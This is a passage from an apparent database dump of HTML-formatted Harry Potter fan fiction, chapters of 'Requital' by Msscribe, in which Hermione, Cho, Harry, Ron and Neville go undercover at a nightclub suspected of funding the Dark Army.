shivered.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Close&#8230;but you&#8217;ll have to \n  be faster than that.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; And Hermione stood ready \n  again.&nbsp; Let the Dance begin.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; A very tired Harry Potter \n  returned to his flat to find an owl from Arthur Weasley.&nbsp; He groaned.&nbsp; \n  Couldn&#8217;t he even have a moment&#8217;s rest?&nbsp; He opened the letter reluctantly \n  and sat down on his couch in front of the fireplace.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>Dear Harry,</i></p>\n<p class="MsoBodyTextIndent">&nbsp;&nbsp;&nbsp;&nbsp; I&#8217;m pleased to report that \n  we have found you a new Auror for your team.&nbsp; Hermione Granger is almost \n  through with her training and will be ready for assignment in one week.&nbsp; \n  She is currently sharing a residence with Cho Chang, and needs all the support \n  she can get.&nbsp; She will be helping you and Ron track down the wizards and \n  witches responsible for the recent Muggle assassinations.&nbsp; She will be \n  invaluable with her Muggle upbringing.&nbsp; You&#8217;ve worked together before, \n  I&#8217;m sure you can do it this time.&nbsp; Please owl back once you&#8217;ve received \n  this message.</p>\n<p style="line-height:150%"><i>&nbsp;&nbsp;&nbsp;&nbsp; Arthur Weasley, Head of \n  the British Ministry of Magic</i></p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry was livid.&nbsp; How \n  could Mr. Weasley do that?&nbsp; How could he send Hermione into a dangerous \n  situation like that?&nbsp; Sure, her spell-casting ability was solid as a rock \n  but she was never very good with anything as physical as the fighting they were \n  exposed to every day.&nbsp; He thought she&#8217;d still be at the Weasley&#8217;s house, \n  recovering from her loss.&nbsp; It seemed too soon.&nbsp; He needed to object \n  to this.&nbsp; His own bruises and cuts were proof of what happened when you \n  did his job.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dammit, Hermione!&#8221; he muttered \n  under his breath.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He heard a movement and grabbed \n  for his wand.&nbsp; There was a red-haired woman standing near his couch. </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &#8220;Dammit what&#8230;Harry?,&#8221; Hermione \n  asked.&nbsp; &#8220;It&#8217;s me&#8221;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He relaxed his grip on his \n  wand, as she moved to sit next to him.&nbsp; He tried to control his temper.&nbsp; \n  He didn&#8217;t want to upset her anymore.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m glad you&#8217;re out of bed and \n  getting better&#8230;but&#8230;I&#8217;m not sure about this,&#8221; he said, offering her a sympathetic \n  gaze.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione met his eyes with \n  a steely resolve.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can do this, Harry.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He had never seen her this \n  way before.&nbsp; He was frustrated at the situation he was facing now.&nbsp; \n  He knew when they were out there he couldn&#8217;t protect her. </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So you asked for this?&nbsp; \n  I can find them for you Hermione&#8230;Ron and I can find them and make sure they \n  are punished,&#8221; he said, taking her face in his hands so she couldn&#8217;t look away \n  from him.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She gripped his wrists and \n  pulled his hands into hers.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I need to do this for myself, \n  Harry.&nbsp; I&#8217;m ready.&nbsp; Cho has been wonderful.&nbsp; She says I&#8217;m the \n  best she&#8217;s ever trained.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He studied her for a moment, \n  reluctantly dropping her hands and standing to close his door.&nbsp; He couldn&#8217;t \n  let her do this.&nbsp; He couldn&#8217;t let her die like this.&nbsp; It was hard \n  enough for him to order Ron into situations that could cost Ron his life, let \n  alone Hermione&#8217;s.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry disappeared into his \n  kitchen for a moment.&nbsp; Hermione noted the eerie lack of noise.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She felt his hand go over \n  her mouth and his other arm restraining her from behind.&nbsp; The sneaky bastard \n  had apparated behind her.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do you do if this happens \n  to you?&#8221; Harry said to the struggling girl in his arms.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; With a force he didn&#8217;t know \n  she had, she flipped him onto the couch, knocking the wind out of him, and drawing \n  her wand to point directly at him.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;d probably start with \n  this.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He chuckled a little in defeat, \n  raising his hands in the air to surrender.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m tired.&nbsp; And you \n  got lucky with that move,&#8221; he mumbled, staring into her familiar brown eyes.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Maybe, but I&#8217;m with you \n  now, whether you like it or not.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry knew that much was \n  true.&nbsp; He noticed the subtle changes in her as she moved confidently into \n  his kitchen, snatching a beer out of the refrigerator.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The flowers you sent were \n  beautiful.&nbsp; Thank you.&#8221; Hermione said, sitting down next to him again.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sorry I couldn&#8217;t be \n  there more.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She smiled at her friend.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &#8220;You and Ron had the greater good \n  to fight for.&nbsp; And now we all do.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What you did before helped \n  the greater good.&nbsp; Probably more than we have&#8230;&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She chuckled at his modesty.&nbsp; \n  He had only saved the world once or twice.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I guess I needed a \n  change.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; His eyes wandered up to her \n  hair again.&nbsp; The hair would take some getting used to.</p>\n\n\n'),
	(90, 3, '\n\n\n<p style="line-height:150%"><u>Requital</u> by Msscribe</p>\n<p>Rating: R- (edited version). &nbsp;Full NC17 version on www.portkey.org.</p>\n<p>Ships: H/Hr </p>\n<p>Type: Angst\\ Romance</p>\n<p>Summary:&nbsp; A story of Hermione Granger coming to terms with her greatest \n  loss, finding her own voice and strength, and coming of age in a world battered \n  by a never-ending war.</p>\n<p><b><i>Disclaimer: No profits are being \n  made off the fiction on these pages. Harry Potter, associated characters and \n  the associated Harry Potter universe is &#169; J. K. Rowling and respective publishers. \n  Fanfiction is fiction--it is not meant to be taken seriously in the least.</i></b></p>\n<p style="line-height:150%"><u>Chapter 3</u> \n  -&nbsp;Shadow Dancing</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione stared at the sexy \n  witch in the mirror.&nbsp; Her startling red hair and deep pink-colored lips \n  looked like someone she barely recognized.&nbsp; It would be her first time \n  out as an Auror.&nbsp; She couldn&#8217;t seem to move her legs. &nbsp;She was filled with \n  terror.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The beautiful Cho Chang opened \n  Hermione&#8217;s bedroom door and smiled approvingly at her student.&nbsp; Hermione \n  wore leather pants and a pink halter top, which made her hair stand out even \n  more.&nbsp; She wouldn&#8217;t stand out at the club they would visit tonight.&nbsp; \n  She would fit right in, along with Cho, who wore a blue mini-dress and red streaked \n  hair.&nbsp; Harry, Neville and Ron would meet them there.&nbsp; She had mixed \n  feelings about that. She wasn\'t sure how she felt about being out like this. \n  She had to suppress that voice now. &nbsp;It would only interfere with her mission.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione took a deep breath \n  and focused on her goal.&nbsp; She was nervous.&nbsp; They&#8217;d be visiting Club \n  Mistress tonight.&nbsp; It was suspected to be a&nbsp;money-making front for \n  the Dark Army.&nbsp; The sad irony hit her; Muggles were funding their assassins \n  by spending their nights dancing away in a drunken frenzy.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho disappeared for a moment, \n  returning with a glass of water and handed the nervous girl a small pill.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It will help you.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is it?&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho laughed.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;An aspirin.&nbsp; You&#8217;ll \n  have to have a drink or two, but try to stay focused.&nbsp; This is information \n  gathering only.&nbsp; No confrontations tonight.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione took the pill and \n  let it slide down her throat; barely making it past the lump that had recently \n  formed there.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho wrapped her arms around \n  Hermione&#8217;s tense shoulders.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re ready.&#8221;</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The hypnotic lure of the \n  music flooded her ears and momentarily dulled her senses.&nbsp; Cho took Hermione&#8217;s \n  hand intertwining their fingers. Then she planted a soft kiss on Hermione&#8217;s \n  lips.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Tonight you are mine, you \n  lovely little witch.&#8221; Cho hissed at her.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; According to the report, \n  their target Locust Daviz had a thing for women who were...together.&nbsp; Hermione \n  smiled back nervously, accepting a second, more sensual kiss from Cho.&nbsp; \n  She didn&#8217;t see Harry in the corner, still recovering from the shock of her scantily \n  clad entrance, let alone her sharing a kiss with his grade school crush.&nbsp; \n  Ron and Neville were beside him, gawking at the two women.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Did I just bloody dream \n  that?&#8221; Ron began. &nbsp;&#8220;Because if so, let me keep sleeping.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry flashed Ron a look \n  of warning.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s in the M.O., that&#8217;s \n  why we invited Cho in the first place, remember?&nbsp; They&#8217;re trying to get \n  noticed so they can get invited into the private area.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville nodded coolly, with \n  the hardened demeanor he had picked up over the years.&nbsp; Ron gawked.&nbsp; \n</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think they&#8217;ll succeed.&#8221; \n  &nbsp;Harry said finally, not able to take his eyes off of them.&nbsp; Off of \n  her. &nbsp;He had never seen her that way before.&nbsp; He forced himself to \n  look away once or twice, and then he finally gave in.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; They walked the club a few \n  times, stopping to have a drink or two.&nbsp; There were maddening swirls of \n  light as Cho led her to the crowded dance floor.&nbsp; Flashes of color burst \n  through the room.&nbsp; No magic, just an expert play on lights and rhythm.&nbsp; \n  A beautiful blonde woman tried to pull Hermione away, and she resisted her, \n  clutching Cho&#8217;s hand again.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Taken darling.&#8221; Cho said \n  sweetly.&nbsp; &#8220;Maybe next lifetime&#8230;&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The blonde glared at Cho.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione noticed the three \n  guys sitting in the corner.&nbsp; They couldn&#8217;t meet up with them just yet.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione managed to stifle \n  the panic rising up in her and began to relax as Cho let her hands fall to her \n  hips and rocked her friend&#8217;s body close to hers.&nbsp; Every man, and a few \n  women, in the club were staring at the exotic duo.&nbsp; Hermione began to get \n  into the act, letting her hands run through Cho&#8217;s hair and initiating a small \n  kiss of her own. &nbsp;She felt this sudden surge of electricity.&nbsp; She \n  wasn&#8217;t attracted to Cho in that way&#8230;but there was something wonderful about \n  what they were doing, about the way they were dancing.&nbsp; Then she caught \n  Harry&#8217;s eyes.&nbsp; They held something she&#8217;d never seen before.&nbsp; She couldn&#8217;t \n  stop staring at him.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry finally broke their \n  trance.&nbsp; What the hell was that?&nbsp; Why was he feeling like this?&nbsp; \n  Everything was going perfectly, what was the problem?&nbsp; He got up to make \n  a mock attempt at picking up a woman.&nbsp; To his chagrin, she accepted his \n  offer to dance and he moved her close to the dancing women.&nbsp; The witch \n  was fortunately very drunk and didn&#8217;t seem to notice how distracted he was by \n  the two women making out on the dance floor beside him.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s powerful, isn&#8217;t it,&#8221; \n  Cho whispered to Hermione.&nbsp; &#8220;A hundred men in here would give anything \n  to be locked between us.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt Cho&#8217;s lips \n  gently graze her neck. &nbsp;She sucked in her breath as she also noticed a \n  large man moving towards them. &nbsp;She smiled seductively at him.&nbsp; Cho \n  had noticed him as well.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You ladies are making the \n  club more beautiful then it&#8217;s ever been.&nbsp; Drinks are on the house compliments \n  of Mr. Daviz, and there&#8217;s a party later in the back that he&#8217;d be honored to \n  have you attend,&#8221; the man said, letting his finger trace down the curve of Hermione&#8217;s \n  neck, and his other hand fall to Cho&#8217;s pretty chin.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The man signaled to the bartender \n  and the bartender nodded.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;d love to&#8230;right lovely?&#8221; \n  Hermione replied.&nbsp; Cho nodded in agreement, proud of her prodigy.&nbsp; \n  Hermione barely recognized her own voice.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Mission accomplished.&nbsp; \n  Heading for the bar, Cho signaled to Harry who was very close to them now.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry felt his hands clench \n  up as he watched the Gorilla-like man fondle Hermione&#8217;s neck.&nbsp; He wasn&#8217;t \n  surprised when he got the signal from Cho.&nbsp; They had succeeded in infiltrating \n  the back room.&nbsp; He watched as Hermione and Cho walked to the bar.&nbsp; \n  He looked over at Ron, who nodded and walked up to him and his dance partner.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;May I cut in?&#8221; Ron said \n  to the pretty lady.&nbsp; She looked up at Harry who nodded yes.&nbsp; The woman \n  was happily led away by Harry\'s accomplice.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry walked over to the \n  bar and sat next to Hermione.&nbsp; His whole body was tense, and he fought \n  not to let his eyes wander past her neck.&nbsp; He had to focus.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Would you mind if I stole \n  her for just one dance?&#8221; Harry asked Cho.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hmmm&#8230;&#8221; Cho said in mock \n  jealousy. &nbsp;&#8220;Just remember who she belongs to.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave Cho a small \n  peck and smiled up at Harry. &nbsp;He took her hand.&nbsp; There were going to be \n  no slow songs, so he pulled her close to him and stared very seriously into \n  her eyes.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know what we need to \n  find out? &nbsp;You\'re ready?&#8221; he questioned.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry looked away, carefully \n  watching to see if the large man had returned.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just be sure you meet us \n  in the morning at the pancake house.&nbsp; We&#8217;ll exchange information there.&nbsp; \n  Neville managed to get an interview to be a bouncer.&nbsp; That would definitely \n  give us another in.&nbsp; These attacks are getting more devastating, we need \n  to find out what these people know.&quot;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; His body was tight against \n  hers now, and she was already flushed from the drink she just had.&nbsp; She \n  let her arms fall over his shoulders and moved her hips towards him.&nbsp; He \n  stifled a groan.&nbsp; She had never seen him dressed like that before, with \n  his hair spiked up and his tight black tank top revealing every muscle in his \n  arms.&nbsp; She was thoroughly enjoying his touch.&nbsp; She fought the feeling.&nbsp; \n  She had a killer to catch.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t worry.&nbsp; I can \n  handle this.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know if I can&#8230;&#8221; \n  he mumbled, hoping perhaps she hadn&#8217;t heard that last part.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She had.</p>\n\n\n'),
	(90, 4, '\n\n\n<p style="line-height:150%"><u>Requital</u> by Msscribe</p>\n<p>Rating: R- (edited version).&nbsp; Full NC17 version on www.portkey.org.</p>\n<p>Ships: H/Hr </p>\n<p>Type: Angst\\ Romance</p>\n<p>Summary:&nbsp; A story of Hermione Granger coming to terms with her greatest \n  loss, finding her own voice and strength, and coming of age in a world battered \n  by a never-ending war.</p>\n<p><b><i>Disclaimer: No profits are being \n  made off the fiction on these pages. Harry Potter, associated characters and \n  the associated Harry Potter universe is &#169; J. K. Rowling and respective publishers. \n  Fanfiction is fiction--it is not meant to be taken seriously in the least.</i></b></p>\n<p style="line-height:150%"><u>Chapter 4</u> \n  - The Locust Lair</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; It was strange, and a little \n  scary, how they had to crouch and squeeze through the doorway leading to the \n  elusive back room of Club Mistress.&nbsp; Hermione wouldn&#8217;t have believed the \n  large man who had invited them inside would have ever made it through, if she \n  hadn&#8217;t seen it with her own eyes.&nbsp; Only three others were with them.&nbsp; \n  One was an older lady dressed in elegant beads and the tackiest shoes Hermione \n  had ever laid eyes on.&nbsp; The other was a handsome man of Asian descent, \n  who was dressed more for the office than a nightclub.&nbsp; The last was Neville.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; They were in a tunnel then, \n  crowded together.&nbsp; There were no flashing lights and the music was drowned \n  out as quickly as the door had shut behind them.&nbsp; There was the smell of \n  something dark and painful in the air.&nbsp; Almost like rotting meat mixed \n  with ammonia.&nbsp; She struggled to get used to it, her body not wanting to \n  breathe too deeply.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; After what seemed like an \n  unusually long walk, the tunnel emptied out into a crowded room.&nbsp; The dark \n  smell was gone, replaced by the scent of lilacs and mint.&nbsp; There were only \n  two windows, crisscrossed with some sort of molten steel rods.&nbsp; There was \n  music again, but it was subdued and quiet.&nbsp; The people were sitting around \n  small tables having private discussions or playing Muggle Cards for what looked \n  like great sums of money.&nbsp; The bar was small but exceptionally well stocked, \n  with racks overflowing with wine and champagne.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville and the large man, \n  whose name she discovered was Ivan, walked almost immediately to a woman behind \n  the bar.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;If he gets the job, it will \n  be much easier for us to get close to Locust,&#8221; Cho whispered in Hermione&#8217;s ear.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled and nodded \n  knowingly, looking again at Neville and Ivan.&nbsp;&nbsp; Ivan was pointing \n  to the various areas of the room and Neville seemed to be paying close attention \n  to his lessons.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Be alert,&#8221; Cho warned, leading \n  her over to an empty table by one of the barred windows.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione was.&nbsp; She scoured \n  the room looking for anyone who stood out.&nbsp; They had only a couple of vague \n  descriptions of Locust Daviz, but when she found herself staring into a pair \n  of the darkest black eyes she had ever seen, she knew she had found him.&nbsp; \n  Cho hadn&#8217;t missed this, and moved Hermione&#8217;s face towards hers.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It isn&#8217;t polite to stare.&nbsp; \n  Let him find us&#8230;&#8221; she warned, kissing Hermione again, hoping to lure him over.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione was disappointed \n  when she glanced around for Locust and he had moved.&nbsp; Her disappointment \n  was short-lived, however, when she found him suddenly sitting at their table. \n</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; How did he get here \n  so quickly, she thought to herself. &nbsp;He couldn&#8217;t have apparated with all of \n  these Muggles around?</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Everyone here is used to \n  my trickery, &#8220; the man said, noticing the surprise on Hermione&#8217;s face.&nbsp; \n  &#8220;Don&#8217;t be frightened; I&#8217;m just a magician.&nbsp; My name is Locust, and this \n  is my party.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione forced an adoring \n  smile.&nbsp; Cho swooned with mock interest, declaring how brilliant his &#8220;trick&#8221; \n  was.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; Locust Daviz had pale skin, but \n  it was flushed, especially his round cheeks which were unusually large.&nbsp;&nbsp;&nbsp; \n  His eyes were glassy and glittery with whites that seemed just a bit too bright.&nbsp; \n  He was a stocky man, with a thick muscular neck that rippled when he spoke, \n  and she found herself trying not to stare at the way he had carefully combed \n  a few stray strands of dyed black hair over his bald spot.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m Rasa,&#8221; Cho said, &#8220;and \n  this is Hailey.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Pleasure,&#8221; Hermione \n  said, letting the words tumble off her painted lips, now wet with the champagne \n  she found herself absently sipping. &nbsp;&#8220;I suppose we should thank you.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He flushed more, searching \n  her face carefully.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s people like you that \n  keep my club at the top of the A-List. &nbsp;Rasa&#8230;was it?&#8221; he said, suddenly looking \n  at Cho again.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Perhaps Hailey wouldn&#8217;t \n  mind if you accompanied me to a particularly rough game of blackjack.&nbsp; \n  I need a lady luck and you look like just my type.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So long as you bring her \n  back.&#8221;&nbsp; Hermione teased, mimicking what Cho had done earlier.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Locust led Cho to a table \n  that included the old beaded woman and the Asian man.&nbsp; When they both pulled \n  out large sums of money, Hermione realized why the two non-trendy people had \n  been invited in the first place.&nbsp; Money made everyone more popular.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Locust sat Cho down on his \n  lap.&nbsp; Hermione felt guilty at her own relief, as Locust let his hand wander \n  up Cho&#8217;s dress.&nbsp; She was glad he didn&#8217;t choose her.&nbsp; She noticed Cho \n  clench her teeth for a moment, but manage to flash a quick smile at Locust.&nbsp; \n  Cho would have to continue to work with them on this case; that much was clear.&nbsp; \n  The slimy git already seemed taken with her.&nbsp; Harry&#8217;s informant was right.&nbsp; \n  Locust seemed like a clever man, but with a weakness for beautiful women.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione settled down at \n  a table with a tiny brunette who seemed to be able to do nothing but stare into \n  space.&nbsp; She decided she&#8217;d take in the scene.&nbsp; All she could do was \n  keep her eyes open, and keep a mental checklist of the things Harry asked her \n  to look for.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry and Ron sat at the \n  bar drinking beer, nervously watching the door that their three companions had \n  disappeared through earlier.&nbsp; Ron noticed Harry was unusually tense that \n  night.&nbsp; It was normally Harry who kept a cool head during these missions.&nbsp; \n  Heck, Ron even began to enjoy the information-gathering outings because they \n  rarely ended in anything but a mean hangover.&nbsp; Percy used to pretend to \n  drink.&nbsp; Everyone else, Penelope included, figured that one drink might \n  be their last, so they&#8217;d better enjoy it.&nbsp; Lots of good it did Percy in \n  the end.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ron grimaced at that last \n  thought, and then glanced back over to Harry.&nbsp; Harry was tracing a finger \n  along his scar, thinking.&nbsp; Ron chuckled to himself.&nbsp; At least in the \n  Muggle world, no one knew who he was.&nbsp; There were a few witches there who \n  knew, but they certainly couldn&#8217;t risk saying anything to Harry out in the open.&nbsp; \n  The witch that Harry had asked to dance earlier knew.&nbsp; He could see her \n  eyes continuously glaring at the scar, but she was smart enough to keep her \n  mouth shut.&nbsp; Or, perhaps she was too drunk to care all that much.&nbsp; \n  Anyhow, he was glad when she found someone else to dance with.&nbsp; She was \n  attractive enough, but her anecdotes were almost as boring as Professor Flitwick&#8217;s \n  history class used to be.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t see the point in \n  hanging around.&nbsp; Cho and Neville are in there with Hermione,&#8221; Ron said \n  finally.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry looked curiously at \n  Ron.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve known you for a long \n  time, Harry.&nbsp; It&#8217;s obvious that you&#8217;re worried about her.&nbsp; She&#8217;s done \n  great tonight.&nbsp; We&#8217;ve got to meet them at the pancake house in three hours.&nbsp; \n  That gives us time to go over next week&#8217;s plans and figure out our strategy. \n  &nbsp;And we could visit the informant&#8230;&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry pursed his lips, stifling \n  a snort.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sounds like you have a handle \n  on everything, agent Weasley.&nbsp; Except the informant part,&#8221; Harry laughed.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ron had been trying to find \n  out for weeks who was leading the Ministry to the various leaders of the Dark \n  Army.&nbsp; Harry had flat out refused to tell anyone, even Arthur Weasley.&nbsp; \n  Ron was hurt at first, but he accepted it now.&nbsp; The informant would be \n  slaughtered instantly if anyone were to find out who it was.&nbsp;&nbsp; Harry \n  would protect the informant with his life after the lives that informant had \n  managed to save by leaking information.&nbsp; Harry only wished he had found \n  out about the attack on Hermione&#8217;s parents sooner.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ron shrugged and swatted \n  Harry on the back.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &#8220;Let&#8217;s go then, I&#8217;ve had enough \n  of this scene.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded, following closely \n  behind Ron, only stopping to take one last look at the door.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &#8220;Be careful, Hermione.&nbsp; For \n  God&#8217;s sake don&#8217;t screw up,&#8221; he muttered.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Draco Malfoy could smell \n  her hair, and it was driving him to distraction.&nbsp; Madness even.&nbsp; She \n  had come to him using the passage under Malfoy Manor he had shown her in his \n  last year of school, so she could still go to him.&nbsp; Her scent was intoxicating.&nbsp; \n  Her soft young skin and her 